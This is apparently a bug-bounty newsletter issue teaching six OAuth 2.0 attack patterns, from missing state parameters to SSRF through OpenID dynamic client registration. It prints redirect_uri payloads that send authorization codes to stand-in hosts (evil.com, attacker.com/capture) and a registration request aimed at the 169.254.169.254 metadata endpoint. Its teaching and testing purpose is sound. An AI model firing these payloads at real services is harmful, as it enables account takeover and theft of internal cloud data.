OAuth 2.0: Six Ways the Authorization Flow Breaks
7 min read
March 29, 2026

Table of contents
👋 Introduction
Hey everyone!
Last week was NoSQL injection. This week we move up the stack to the authentication layer.
OAuth 2.0 is the authorization framework behind every “Log in with Google/GitHub/Apple” button. It’s also one of the most consistently broken implementations in bug bounty programs. The spec is flexible by design, which means implementations make choices, and those choices create attack surface. OAuth account takeover doesn’t require cracking tokens or breaking cryptography. It usually comes down to a missing parameter, a loose regex on a callback URL, or an implicit flow that puts tokens where they shouldn’t be.
We covered SSO email validation attacks in Issue 17. This week we go deeper into the protocol itself: six attack patterns, all with working labs.
Let’s get into it 👇
🔍 The OAuth 2.0 Attack Surface
OAuth 2.0 (RFC 6749) defines how a third-party client gets delegated access to a resource. The authorization code flow is the standard pattern:
- Client redirects user to the authorization server with
client_id,redirect_uri,scope,state - User authenticates and grants access
- Authorization server redirects to
redirect_uriwith acode - Client exchanges
codefor an access token via a back-channel request
The attack surface concentrates at two points: the redirect_uri (where the code lands) and the state parameter (the CSRF token). Most OAuth vulnerabilities come down to one of these being absent, weak, or loosely validated.
RFC 9700 (published January 2025, superseding RFC 6819) documents the current OAuth threat model and mitigations. If you’re doing OAuth testing, it’s required reading.
💀 Missing State Parameter: CSRF to Account Takeover
The state parameter is OAuth’s CSRF token. RFC 6749 Section 10.12 requires it for CSRF protection. Without it, an attacker can force a victim to complete an OAuth flow that links the attacker’s external account to the victim’s session.
The attack:
- Attacker starts an OAuth flow with their own Google/GitHub account
- Pauses before the callback, copies the authorization redirect URL
- Sends that URL to the victim (phishing, iframe, CSRF)
- Victim’s browser completes the flow and the server links the attacker’s OAuth account to the victim’s profile
- Attacker logs in with their OAuth account and gets the victim’s session
No credentials needed. Just a missing state. The PortSwigger lab Forced OAuth profile linking demonstrates this exactly. Check for state in every authorization redirect you see. Its absence on a “Connect account” feature is a P2 on most bug bounty programs.
🔗 redirect_uri Hijacking and Open Redirect Chaining
The redirect_uri is where the authorization code gets delivered. If you can change where it goes, you get the code.
Some servers use prefix matching or regex instead of exact string comparison. Try:
# Baseline
redirect_uri=https://legitimate.com/callback
# Path traversal
redirect_uri=https://legitimate.com/callback/../attacker-path
# Subdomain confusion
redirect_uri=https://evil.legitimate.com/callback
# Parameter pollution
redirect_uri=https://legitimate.com/callback&redirect_uri=https://evil.com
Open redirect chaining (RFC 9700 Section 4.1) is more subtle. The server correctly validates that redirect_uri starts with the allowed domain. But if the client application has an open redirect at any path, you chain it:
redirect_uri=https://legitimate.com/redirect?url=https://attacker.com/capture
The authorization server sends the code to legitimate.com/redirect, which redirects to attacker.com with the code in the query string. The server saw a valid redirect_uri. You got the code.
The PortSwigger labs account hijacking via redirect_uri and stealing tokens via open redirect cover both patterns. When you find an OAuth implementation, map every open redirect on the allowed domain before concluding that redirect_uri validation is solid.
⚡ Implicit Flow and Token Leakage
The implicit grant type delivers the access token directly as a URI fragment in the redirect response:
https://legitimate.com/callback#access_token=TOKEN&token_type=bearer
Tokens in fragments are exposed to JavaScript on the page, browser history, and any script that reads window.location.hash. They also leak via Referer headers: if the callback page makes any outbound request (analytics, CDN, third-party scripts), some browsers include the full URL including fragment in the Referer. That’s your access token leaving the application.
RFC 9700 explicitly discourages implicit grant for new deployments. But plenty of legacy applications still use it, and any open redirect in the callback path turns into a token theft vector. When you see #access_token= in a callback URL, map every outbound request the page makes and look for open redirects upstream in the flow.
Check the grant types reference for a full breakdown of which flows expose which attack surfaces.
🔑 PKCE: When the Defense Isn’t Enforced
PKCE (RFC 7636) protects the authorization code flow against interception. The client generates a random code_verifier, hashes it as code_challenge, and includes the challenge in the authorization request. When exchanging the code for a token, the client sends the original verifier. A stolen code is useless without it.
The bypass: many servers implement PKCE as opt-in rather than mandatory. Try removing code_challenge_method and code_challenge from the authorization request entirely. If the server still issues a valid code and accepts the token exchange without a verifier, PKCE is available in the spec but not enforced.
RFC 9700 Section 2.1.1 states PKCE should be mandatory for all public clients. “Should” is not “must,” and the gap between those two words is your finding.
🌐 SSRF via OpenID Dynamic Client Registration
OpenID Connect extends OAuth 2.0 with an identity layer. One feature is dynamic client registration: applications POST to a registration endpoint to register themselves as OAuth clients. The payload includes fields like logo_uri, jwks_uri, and sector_identifier_uri that the authorization server fetches during registration or authentication.
If those URIs aren’t restricted to external hosts, you’ve got SSRF from the authorization server. This was documented by PortSwigger researcher Michael Stepankin in Hidden OAuth attack vectors, with confirmed CVEs against ForgeRock OpenAM and MITREid Connect.
POST /connect/register HTTP/1.1
Content-Type: application/json
{
"application_type": "web",
"redirect_uris": ["https://attacker.com/callback"],
"logo_uri": "http://169.254.169.254/latest/meta-data/",
"jwks_uri": "http://internal-service/secret"
}
If the registration endpoint is open and the server fetches those URIs, it’s an SSRF from a trusted internal component. The PortSwigger lab SSRF via OpenID dynamic client registration walks through this. When you see a /.well-known/openid-configuration endpoint or a /connect/register path, check whether dynamic registration is open before moving on.
🎯 Key Takeaways
OAuth account takeover comes from implementation flaws, not protocol breaks. The two most consistent findings are missing state and loose redirect_uri validation. Both are quick to test: check for state in the initial authorization redirect, then fuzz redirect_uri with path traversal, subdomain variations, and open redirect combinations.
Implicit flow is legacy but common. When you see #access_token= in a callback, the application is using implicit grant. Map outbound requests from that page and look for open redirects upstream. Tokens in fragments don’t stay in fragments.
PKCE bypass is often missed because it requires understanding the flow. Remove code_challenge_method and code_challenge from the request and test whether the server still accepts the token exchange. Servers that treat PKCE as optional rather than mandatory expose public clients to code interception.
SSRF via OpenID dynamic client registration is higher effort but high impact. Authorization servers are trusted components. SSRF from one reaches services that would otherwise be unreachable from the client application.
Practice:
- PortSwigger Academy: OAuth 2.0 attacks - six labs covering implicit flow, redirect_uri hijack, open redirect chaining, forced profile linking, proxy page token theft, and OpenID SSRF
- RFC 9700: OAuth 2.0 Security Best Current Practice - current threat model and mitigations (Jan 2025, supersedes RFC 6819)
- PortSwigger Research: Hidden OAuth attack vectors - SSRF via OpenID dynamic client registration with CVE-backed proof of concepts
- OAuth 2.0 Grant Types - breakdown of authorization code, implicit, and client credentials attack surfaces
- OAUTH Scan - BApp Store - Burp extension for passive and active OAuth misconfiguration scanning
- RFC 7636: PKCE - PKCE specification with enforcement requirements
Thanks for reading, and happy hunting!
— Ruben
Other Issues
Previous Issue
💬 Comments Available
Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.